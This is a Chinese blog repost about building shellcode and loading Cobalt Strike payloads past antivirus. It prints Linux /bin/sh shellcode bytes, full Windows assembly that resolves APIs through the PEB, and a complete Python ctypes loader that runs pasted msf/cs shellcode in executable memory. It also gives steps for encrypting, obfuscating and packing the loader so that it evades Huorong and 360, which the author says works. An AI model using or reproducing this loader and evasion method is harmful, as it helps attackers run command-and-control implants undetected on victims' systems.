cobaltstrike的shellcode免杀

news2024/11/15 7:25:03

基础概念

shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

运行流程

如下图所示,shellcode的主要木的是为了获取计算机的权限,可配合有缓冲区漏洞程序使用

img

Shellcode在漏洞样本中的存在形式一般为一段可以自主运行的汇编代码,不依赖任何编译环境,也不能像在IDE中直接编写代码调用API函数名称来实现功能,而是通过主动查到dll基址并动态获取api地址的方式来实现api调用,然后根据实功能调用想用的api函数来完成其自身的功能。

在这里插入图片描述

获取kernel32基址

获取Kernel32 基址的常见方法有暴力搜索、异常处理链表搜索和TEB ( Thread EnvironmentBlock)搜索。这里只介绍目前最常用的动态获取Kernel32.dll 基址的方法一-TEB 查找法。其原理是:在NT内核系统中, fs 寄存器指向TEB结构, TEB+0x30偏移处指向PEB ( Process EnvironmentBlock )结构,PEB+0x0c偏移处指向PEB LDR DATA结构, PEB LDR_ DATA+0xlc 偏移处存放着程序加载的动态链接库地址,第1个指向Ndl.dII, 第2个就是Kerel32.dl的基地址。

从Windows Vista 开始,程序中DLL基址的加载顺序发生了变化,在固定的位置已经不能得到正确的Kernel32 基址了,因此,需要在列表中对各DLL模块的名称加以判断,才能得到正确的Kernel32基址。

image-20230129141007472

获取api地址

从DLL文件中获取API地址的方法如图14.12 所示,步骤如下。

在DLL基址+ 3ch偏移处获取e_ lfanew 的地址,即可得到PE文件头。
在PE文件头的78h偏移处得到函数导出表的地址。
在导出表的lch 偏移处获取AddressOfFunctions 的地址,在导出表的20h偏移处获取AddressOfNames的地址,在导出表的24h偏移处获取AddressOfNameOrdinalse的地址。
AddressOfFunctions 函数地址数组和AddressOfNames 函数名数组通过函数AddressOfNameOrdinalse一一对应。

image-20230129141016341

在实际应用中,如果API函数名直接以明文出现,就会降低shellcode的分析难度,而且api函数名称占用空间一般比较大,这会使shellcode的体积跟着增大。
利用hash算法将要获取的函数名称转换为4字节的hash值,在搜索过程中按此算法计算dll中的文件名称的hash值,对比两个hash是否相同,这样就有效减小了shellocde的体积,同时提高了shellcode的隐蔽性

具体实例

以下实例取自swallow大佬文章,写的非常漂提否!

Linux平台

此部分代码是在Ubuntu平台下完成,原因:mac下32位的C语言类库已经没有了,而相关汇编的关联需要32位库。且64位框架兼容32位,不想有太多有的没的问题,选Ubuntu简单直接。

一般编写思路为通过一个int 0x80系统调用,指定想调用的函数的系统调用号,传入调用函数的参数。

编写C/C++代码

首先,我们先编写C/C++代码实现下获取Linux下shell

image-20220614142428791

编译运行下

image-20220614142537555

编写汇编代码

Shellcode简单来说,其实是获取相关汇编代码执行过程中产生的16进制机器码。本节需将上节C/C++代码转换为汇编代码,代码转换结果如下:

image-20220628101731255

获取机器码

image-20220614142745875

通过上图几步骤,我们即可获取32位即X86平台下的执行的机器码。

\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80

后续我们即可将获取的机器码,应用到我们发现的缓冲区溢出的漏洞利用或其他代码中,例如:

image-20220614142843270

编译运行,提示需要root权限。

image-20220614142941105

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

  • 详细解释:
    • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制;
    • -z execstack 用于允许执行栈;
    • -m32 -g 在64位的机器上产生32位汇编。

报错:/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: No such file or directory

解决方式:sudo apt install gcc-multilib

原因:这是由于缺少相应的32位库文件导致的。

其他内容

当PUSH内容时,asm脚本内容下:

image-20220523183348701

获取机器码如下,在Linux系统中遇到00会停止运行。导致我们获取的到的shellcode无法正常执行。在Linux中"//“和”/"作用相似,当采用双斜杠是刚好帮我们补齐了内容位置,使得代码可正常执行。

image-20220523183310938

Int 0X80中断原理

第一步,就是须要将系统调用号加入到eax中。 第二步,ebx保存函数调用的第一个参数,ecx、edx、esi、edi分别对应这2345个参数。 若是参数超过5个,就必须将参数数组存储在内存中,并且必须将该数组的地址放在ebx中。 一旦加载寄存器后,就会调用int 0x80 汇编指令来中断,强迫内核暂停手头上的工做并处理该中断,从而使得系统调用syscall。

Windows平台

在Windows下,没有int 0x80系统调用功能来寻找函数,但也有像syscall这样的系统调用。Windows相对liunx下会麻烦些,针对相关加载需要一定的dll入口进行辅助调用,这个时候需要我们对利用dll的相关信息进行获取。

编写C/C++代码

在Windows下启动vc++ 6.0 编写并运行代码,效果如下:

image-20220628132712349

代码中,我通过system成功执行了dir命令,并显示了相关的命令执行的结果

编写汇编代码

根据上面Linux的经验,这一步我们来编写Windows下shellcode生成的汇编代码,效仿Linux进行编写,效果如下:

image-20220628140208906

我们发现这个地方我们的传入的dir字符串仅仅是完成了入栈的过程,并没有没有被system所执行。此处就是Windows和Linux下的一个比较大的区别,即我们在编写汇编代码是需要获取到系统执行命令的相关内存地址的。

获取相关内存地址

获取system的内存执行地址,由于Windows的ASLR的原因,同一个函数在每一台机器上的内存地址是不一样的。编写简易代码进行内存地址的获取,其执行结果如下:

image-20220628135230494

重新编写汇编代码

上述思路告诉我们在本地上编写shellcode的一个思路:获取相关函数的地址,压入相关数据并进行执行。后面机器码的获取,我们通过VC++的debug即可进行相关内容获取。但我们重新完善上述的汇编代码生成的shellcode仅具备单一性,不具备一定的通用性,故我们在这一节重新编写具备通用性、独立性的汇编代码。

在这一节,踩了很多很多的坑,大部分是环境的问题。尝试许久之后,还是偷懒换成了xp SP3系统下使用vc++,Windows下shellcode前面的内容是在Windows7下完成,此节在Windows7下编译运行会报错:

image-20220629142542302

因为这一节涉及内容很长,就先看一下实际的运行效果吧!

image-20220629142200619

接下来,我们开始讲一下整个的代码的流程

1.找到kernel32.dll被加载到内存中

我们要调用一个函数,必须要知道其地址,而我们在调用函数时又必须要载入链接库,那么我们就必须要知道LoadLibrary()函数地址,获取地址需要函数GetProcAddress(),而GetProcAddress()函数在“kernel32.dll”的里面。所以,我们在寻找地址时,需要用到这么几个关键字“kernel32.dll”、”GetProcAddress()”、”LoadLibrary()”。

正如我们在前面讲的的那样,为了生成可靠的shellcode代码,我们需要遵循一些步骤。我们知道要调用什么函数,但是首先,我们必须找到这些函数,在前面已经讨论了怎么调用函数地址的步骤。

我们可以利用PEB结构找到kernel32.dll。使用以下代码将dll库加载到内存中

xor ecx, ecx
mov eax, fs:[ecx + 0x30]        ; EAX = PEB
mov eax, [eax + 0xc]            ; EAX = PEB->Ldr
mov esi, [eax + 0x14]           ; ESI = PEB->Ldr.InMemOrder
lodsd                           ; EAX = Second module
xchg eax, esi                   ; EAX = ESI, ESI = EAX
lodsd                           ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]           ; EBX = Base address

2.找到其导出表

我们在内存中找到kernel32.dll。现在我们需要解析这个PE文件并找到导出表。

mov edx, [ebx + 0x3c]           ; EDX = DOS->e_lfanew
add edx, ebx                    ; EDX = PE Header
mov edx, [edx + 0x78]           ; EDX = Offset export table
add edx, ebx                    ; EDX = Export table
mov esi, [edx + 0x20]           ; ESI = Offset names table
add esi, ebx                    ; ESI = Names table
xor ecx, ecx                    ; EXC = 0

3.找到由kernel32.dll导出的GetProcAddress函数

我们现在在“AddressOfNames”上,一个指针数组(kernel32.dll的地址被加载到内存中。因此,每个4字节将表示一个指向函数名的指针。我们可以通过循环查找完整的函数名,函数名序号(GetProcAddress函数的“number”)如下:

;循环查找GetProcAddress函数
Get_Function:
        inc ecx                                          ; Increment the ordinal
        lodsd                                            ; Get name offset
        add eax, ebx                                     ; Get function name
        cmp dword ptr[eax], 0x50746547                   ; GetP
        jnz Get_Function
        cmp dword ptr[eax + 0x4], 0x41636f72             ; rocA
        jnz Get_Function
        cmp dword ptr[eax + 0x8], 0x65726464             ; ddre
        jnz Get_Function

4.使用GetProcAddress查找LoadLibrary函数的地址

此时,我们只找到了GetProcAddress函数的序号,但是我们可以使用它来查找其他函数的实际地址:

mov esi, [edx + 0x24]              ; ESI = Offset ordinals
add esi, ebx                       ; ESI = Ordinals table
mov cx, [esi + ecx * 2]            ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c]              ; ESI = Offset address table
add esi, ebx                       ; ESI = Address table
mov edx, [esi + ecx * 4]           ; EDX = Pointer(offset)
add edx, ebx                       ; EDX = GetProcAddress

5.使用LoadLibrary来加载动态链接库

利用GetProcAddress()函数,我们可以找到LoadLibraryA()函数的地址。在实际中是没有LoadLibrary()这个地址的,LoadLibraryA()就等价于LoadLibrary()。

xor ecx, ecx            ; ECX = 0
push ebx                ; Kernel32 base address
push edx                ; GetProcAddress
push ecx                ; 0
push 0x41797261         ; aryA
push 0x7262694c         ; Libr
push 0x64616f4c         ; Load
push esp                ; “LoadLibraryA”
push ebx                ; Kernel32 base address
call edx                ; GetProcAddress(LL)

到这一步为止,我们已经完成了大部分Windows下调用的通用思路,下来就是个性目标函数的寻找。有了GetProcAddress()函数,我们就可以寻找任何函数的地址了。

6.在动态链接库中找到函数的地址

我们之前找到了LoadLibrary函数地址,现在我们将使用它来加载到内存中“msvcrt.dll”。包含我们的system函数的库。 这里有个问题是 “msvcrt.dll”的字符串长度为10个字符,不足12个字节,所以在剩余的2个字节我们用低位寄存器cx来存储(用什么寄存器不重要),cx是ecx寄存器的一半,ecx是32位寄存器,ecx存储高16位数据,cx存储低16位数据,这样可以避免产生坏字符。

add esp, 0xc                ; pop “LoadLibraryA”
pop  ecx                    ; ECX = 0
push eax                    ; EAX = LoadLibraryA
push ecx                    ; 6d737663   72742e64 6c6c 
mov  cx, 0x6c6c             ; ll
push ecx
push 0x642e7472             ; rt.d
push 0x6376736d             ; msvc
push esp                    ; “msvcrt.dll”c
call eax                    ; LoadLibrary(“msvcrt.dll”)

在编写过程中,我们可以把msvcrt.dll修改为任意DLL文件,但要注意字节数。

7.调用函数

我们加载了msvcrt.dll库,现在我们想调用GetProcAddress来获取system函数的地址。 这里呢,还是为了不产生坏字符,所以把字符串补够了4字节,然后删除。当然,我们也可以用低16位寄存器来存储,像上文那样。 在这个地方,因为上面我们用了16 位寄存器,所以我们下面恢复的字节就要比完整的32位寄存器字节数少一半。

add esp, 0x10                   ; Clean stack
mov edx, [esp + 0x4]            ; EDX = GetProcAddress
xor ecx, ecx                    ; ECX = 0
push ecx                        ;73797374 656d
mov  ecx,0x61626d65             ;emba
push ecx
sub dword ptr[esp + 0x3], 0x61  ; Remove “a”
sub dword ptr[esp + 0x2], 0x62  ; Remove “b”
push 0x74737973                 ; syst
push esp                        ; system
push eax                        ; msvcrt.dll address
call edx                        ; GetProc(system)

这个地方直接就可用前文所写的代码了,直接套用进框架就行,前提是要确保堆栈平衡。

add esp, 0x10                   ; Cleanup stack
push ebp
mov  ebp,esp
sub  esp,0x4                    ; 准备空间
xor  esi,esi
mov  esi,0x00726964             ; dir
mov  dword ptr[ebp-04h],esi
lea  esi, [ebp-04h]
push esi
call eax                        ; system("dir")

add esp, 0x8                    ; Clean stack
pop esi

8.查找ExitProcess函数的地址

我们完成了整个函数的执行,为了不爆出错误,我们必须完美的退出这个程序,所以我们需要在kernel32.dll中找到ExitProcess函数。

;退出程序
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove “a”
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)

9.调用ExitProcess函数

最后,我们调用ExitProcess函数:“ExitProcess(0)”。

xor ecx, ecx                   ; ECX = 0
push ecx                       ; Return code = 0
call eax                       ; ExitProcess

完整的代码

void main()
{
    _asm
    {
        xor ecx, ecx
        mov eax, fs:[ecx + 0x30] ; EAX = PEB
        mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
        mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
        lodsd                    ; EAX = Second module
        xchg eax, esi            ; EAX = ESI, ESI = EAX
        lodsd                    ; EAX = Third(kernel32)
        mov ebx, [eax + 0x10]    ; EBX = Base address
        mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
        add edx, ebx             ; EDX = PE Header
        mov edx, [edx + 0x78]    ; EDX = Offset export table
        add edx, ebx             ; EDX = Export table
        mov esi, [edx + 0x20]    ; ESI = Offset namestable
        add esi, ebx             ; ESI = Names table
        xor ecx, ecx             ; EXC = 0

    Get_Function:
        inc ecx                              ; Increment the ordinal
        lodsd                                ; Get name offset
        add eax, ebx                         ; Get function name
        cmp dword ptr[eax], 0x50746547       ; GetP
        jnz Get_Function
        cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
        jnz Get_Function
        cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
        jnz Get_Function
        mov esi, [edx + 0x24]                ; ESI = Offset ordinals
        add esi, ebx                         ; ESI = Ordinals table
        mov cx, [esi + ecx * 2]              ; Number of function
        dec ecx
        mov esi, [edx + 0x1c]                ; Offset address table
        add esi, ebx                         ; ESI = Address table
        mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
        add edx, ebx                         ; EDX = GetProcAddress

        xor ecx, ecx    ; ECX = 0
        push ebx        ; Kernel32 base address
        push edx        ; GetProcAddress
        push ecx        ; 0
        push 0x41797261 ; aryA
        push 0x7262694c ; Libr
        push 0x64616f4c ; Load
        push esp        ; "LoadLibrary"
        push ebx        ; Kernel32 base address
        call edx        ; GetProcAddress(LL)

        add esp, 0xc    ; pop "LoadLibrary"
        pop ecx         ; ECX = 0
        push eax        ; EAX = LoadLibrary
        push ecx
        mov cx, 0x6c6c  ; ll
        push ecx
        push 0x642e7472 ; rt.d
        push 0x6376736d ; msvc
        push esp        ; "msvcrt.dll"
        call eax        ; LoadLibrary("msvcrt.dll")

        ;system内存地址
        add esp, 0x10                       ; Clean stack
        mov edx, [esp + 0x4]                ; EDX = GetProcAddress
        xor ecx, ecx                        ; ECX = 0
        push ecx                            ; 73797374 656d
        mov  ecx,0x61626d65                 ; emba
        push ecx
        sub dword ptr[esp + 0x3], 0x61      ; Remove “a”
        sub dword ptr[esp + 0x2], 0x62      ; Remove “b”
        push 0x74737973                     ; syst
        push esp                            ; system
        push eax                            ; msvcrt.dll address
        call edx                            ; GetProc(system)

        add esp, 0x10         ; Cleanup stack
        ;执行核心程序
        push ebp
        mov  ebp,esp
        sub  esp,0x4
        xor  esi,esi
        mov  esi,0x00726964             ;dir
        mov  dword ptr[ebp-04h],esi
        lea  esi, [ebp-04h]
        push esi
        call eax    

        ;堆栈平衡
        add esp,0x8  ;恢复esp
        pop esi

        ;退出程序
        pop edx                         ; GetProcAddress
        pop ebx                         ; kernel32.dll base address
        mov ecx, 0x61737365             ; essa
        push ecx
        sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
        push 0x636f7250                 ; Proc
        push 0x74697845                 ; Exit
        push esp
        push ebx                        ; kernel32.dll base address
        call edx                        ; GetProc(Exec)
        xor ecx, ecx                    ; ECX = 0
        push ecx                        ; Return code = 0
        call eax                        ; ExitProcess
    }
}

shellcode加载器

主要流程

  • 调用VirtualAlloc函数,来申请一块可读可写可执行的动态内存区域。
  • 调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。
  • 调用CreateThread函数,在主线程的基础上创建一个新线程。
  • 调用WaitForSingleObject函数,等待创建的线程运行结束。

将shellcode加载进内存并执行

函数介绍

VirtualAlloc

申请内存调用VirtualAlloc函数,来申请一块动态内存区域。VirtualAlloc函数原型和参数如下:

LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};

在python中

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)), 
ctypes.c_int(0x3000),                                       
ctypes.c_int(0x40))

RtlMoveMemory

调用RtlMoveMemory函数可以将shellcode载入内存,此函数从指定内存中复制内容至另一内存里。RtlMoveMemory函数原型和参数如下

RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

在python中

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf, ctypes.c_int(len(shellcode)))

CreateThread

创建进程调用CreateThread将在主线程的基础上创建一个新线程CreateThread函数原型和参数如下:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,          #向线程函数传递的参数
DWORD dwCreationFlags,       #线程创建属性
LPDWORD lpThreadId           #保存新线程的id
)

在python

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0))

WaitForSingleObject

等待线程结束调用WaitForSingleObject函数用来检测线程的状态WaitForSingleObject函数原型和参数

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);

在python里

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束

完整代码

使用msf或者cs生成一段shellcode运行脚本就能获取权限

正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束

import ctypes

buf = b"shellcode内容"

shellcode = bytearray(buf)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

可用pyinstaller 打包为可执行程序

 pip install pyinstaller 
 pyinstaller -F shellcode的py文件

shellcode免杀加载器

思路

本项目是基于学习shellcode原理和免杀基础而编写,主要利用加密、缩小体积、混淆等方式绕过检测,主要是为了应付火绒和360。

https://github.com/xinghe0/cs_shellcode_loader_py

加密

base64、aes、位移密码、异或等

混淆

将代码复制到在线混淆站点进行混淆,https://pyob.oxyry.com

打包

pip install pyinstaller

pyinstaller.exe -Fw -i tomcat.ico --key=xinghe ms_run1.py  

先安装UPX,复制到Script目录下,能缩小exe体积

https://github.com/upx/upx/releases/tag/v4.0.2

使用

使用cs生成py的shellcode,将文件到该项目下

image-20230131151300783

运行 shellcode_ encry.py ,将生成的加密shellcode复制到 ms_run.py 88 行的shellcode 上,在网站进行代码混淆 https://pyob.oxyry.com

命名为ms_run1.py,执行打包命令

pyinstaller.exe -Fw -i tomcat.ico --key=xinghe ms_run1.py  

效果

没进行加密等操作之前

image-20230131140641459

进行了加密等操作后,过火绒和360没问题

image-20230131152346355

image-20230131152435628

image-20230131153248339

image-20230131153315429

参考:

https://blog.csdn.net/weixin_43916678/article/details/107181228

https://blog.csdn.net/solitudi/article/details/115283329

https://www.nday.top/2020/12/07/Python%20Shellcode%E5%8A%A0%E8%BD%BD%E5%99%A8%E7%BB%95%E8%BF%87AV/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/193252.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue入门到精通(七)

6、依赖注入 祖先组件向后代组件传值 6.1 provide() 提供一个值,可以被后代组件注入。 provide() 接受两个参数:第一个参数是要注入的 key,可以是一个字符串或者一个 symbol,第二个参数是要注入的值。 与注册生命周期钩子的 AP…

百趣代谢组学文献分享埃博拉病毒发病机制及组合生物标志物的发现

百趣代谢组学文献分享,今天我们分享的文献就是通过多组学技术研究埃博拉病毒发病机制及组合生物标志物的发现。该文献的研究思路也可以给我们开展新型冠状病毒肺炎相关研究提供借鉴。 代谢组学文献分享,2013-2016年西非埃博拉病毒病(EVD&…

(面经三,技术面)——时间:2022-11-11 地点:线上

面试经历(三)——时间:2022-11-11 地点:线上 1.什么是抽象类 有抽象方法的类,用来表征对问题领域进行分析、设计中得出的抽象概念。 2.抽象类和接口的区别 继承关系:类只能单继承。接口可以实现多个接口 构…

智慧物业管理系统的设计与实现

项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下,你想解决的问…

【大数据】第二章:搭建Hadoop集群(送尚硅谷大数据笔记)

尚硅谷Hadoop3.x官方文档大全免费下载 搭建集群没什么好讲的,跟着视频和笔记出不了什么问题。 唯一遇到的问题就是安装好VmWare后打不开,发现是老师给的VmWare版本不适配本机的WIN11。 解决办法就是下载最新版本的VmWare。新版已经修复了与WIN11的兼容性…

计算机网络基础(三)

前言: 在计算机网络基础(二)中,我们着重学习了应用层,传输层的知识。在 本文,就要介绍网络层,数据链路层,这两块内容细节也很多。这是计算机网络基础篇的最后一文,系统的学习后,就可…

基于php、Thinkphp5的共享电动车管理系统

摘 要当前共享单车在社会上广泛使用,但单车骑行的短距离仍旧不能完全满足广大用户的需求。共享电动车管理系统可以为用户提供账户信息、押金信息、充值信息、租车信息等功能,拥有较好的用户体验.能实时动态显示车辆位置提供更加快捷方便的租车方式,解决了常见共享电动车管理较为…

英雄互娱|提升 300% !一次性能优化实战记录

案例背景 英雄互娱是国内知名游戏研发商和发行商,经常遇到热门线上游戏,在某瞬间出现大量登录请求,需要临时扩容资源的场景。为了让服务更好的应对突增并发请求压力,客户尝试通过把应用服务容器化部署,能通过 HPA&…

Android 屏幕刷新机制 VSync+Choreographer

1.显示系统基础知识 一个典型的显示系统一般包括CPU、GPU、Display三部分,其中CPU负责计算帧数据,并把计算好的数据交给GPU,GPU会对图形数据进行渲染,渲染好后放到图像缓冲区buffet里存起来,然后Display(屏幕或显示器)负责把buffer里的数据呈现到屏幕上。如下图: 这里…

npm发布封装的公共组件

一.新建vue项目项目目录结构如下:二.修改项目文件夹1.创建一个packages文件夹(用于存放编写的组件)2.把src修改为examples3.新建一个vue.config.js文件,并修改由于修改了src文件夹,启动vue项目后,找不到入口(main.js)会报错,所以需要重新指定启动入口module.exports {// 将 ex…

大数据实时多维OLAP分析数据库Apache Druid入门分享-下

文章目录架构核心架构外部依赖核心内容roll-up预聚合列式存储Datasource和Segments位图索引数据摄取查询集群部署部署规划前置条件MySQL配置HDFS配置Zookeeper配置启动集群导入HDFS示例架构 核心架构 Druid servers建议将它们组织为三种服务器类型:Master主服务器、Query查询服…

word高效技巧:这几个表格操作让工作更快速

说到表格,都说Excel制表功能更强大。但是,表格在Word排版中的应用同样非常广泛。比如,在制作简历表、求职表和登记表等一些不规则且不需要做复杂统计分析、有大量文字的表格,我们都会用Word文档来制作。因此,熟练掌握W…

ERR_CONNECTION_REFUSED 解决方法

解决对部分网站请求ERR_CONNECTION_REFUSED问题问题描述可能一:在项目中设置了接口的代理可能二:接口a所在的服务器确实是拒绝了我的ip请求可能三:电脑设置了对其的代理为127.0.0.1由此,接口不再行不通了,问题得到进一…

VisualStudio—Remote Debug

主要用来解决本地调试没问题发布到远端后却报错的项目。一、Windows Debug Windows本文叙述采用的VS2022。①远端(windows服务器)安装远程调试器远端(windows服务器)安装过程省略,详见官方参考链接中设置远程调试器。②…

LightningChart .NET 10.3.2.3 2023-01-20 Crack

GPU 加速图表控件 LightningChart .NET 和 JavaScript 解决方案旨在通过彻底的图表优化、最小的延迟和流畅的呈现来满足行业最苛刻的数据可视化要求。 最佳渲染性能 LightningChart for .NET 具有超过 1,000,000,000,000(超过 1 万亿)个数据点的出色渲染…

2023牛客寒假算法基础集训营5(通过A,B,C,D,H,I,K,L) I题有详解

其他题待补中…… 链接:2023牛客寒假算法基础集训营5 简单题 A 小沙の好客(贪心,前缀和,二分) 题意思路 给定nnn个商品的价值,qqq次询问,每次询问k,xk, xk,x即价值不超过xxx的商品最多可以拿…

DolphinScheduler 3.1.0 海豚集群部署配置

文章目录DolphinScheduler 3.1.0 部署过程1. JDK1.8环境准备2. 下载安装包3. 上传安装包并解压4. Dolphinscheduler用户要sudo权限,免密配置创建海豚用户并且给予sudo权限免密配置:服务器各台节点之间要互相免密5. 修改配置文件6. 修改元数据配置文件7. …

设计模式第6式:命令模式

前言 命令模式关注这样一种场景:指令发布者无需关注指令是怎么执行的,只需要指定具体的执行者,具体的指令由执行者来完成。命令模式将指令发布动作和指令执行动作解耦。 我在刚开始学习命令模式的时候,比较困惑它的使用场景。它…

【JavaGuide面试总结】高性能篇

【JavaGuide面试总结】高性能篇1.静态资源是如何被缓存到 CDN 节点中的?2.如何找到最合适的 CDN 节点?3.如何防止资源被盗刷?1.静态资源是如何被缓存到 CDN 节点中的? 你可以通过预热的方式将源站的资源同步到 CDN 的节点中。这样…

docker安装达梦8,并且远程连接数据库

官方技术文档地址:https://eco.dameng.com/document/dm/zh-cn/start/index.html 不能直接拉取达梦数据库的镜像,需要去官方提供的下载地址下载镜像,上传到服务器 下载地址:https://eco.dameng.com/download/ 下载完成之后确认下…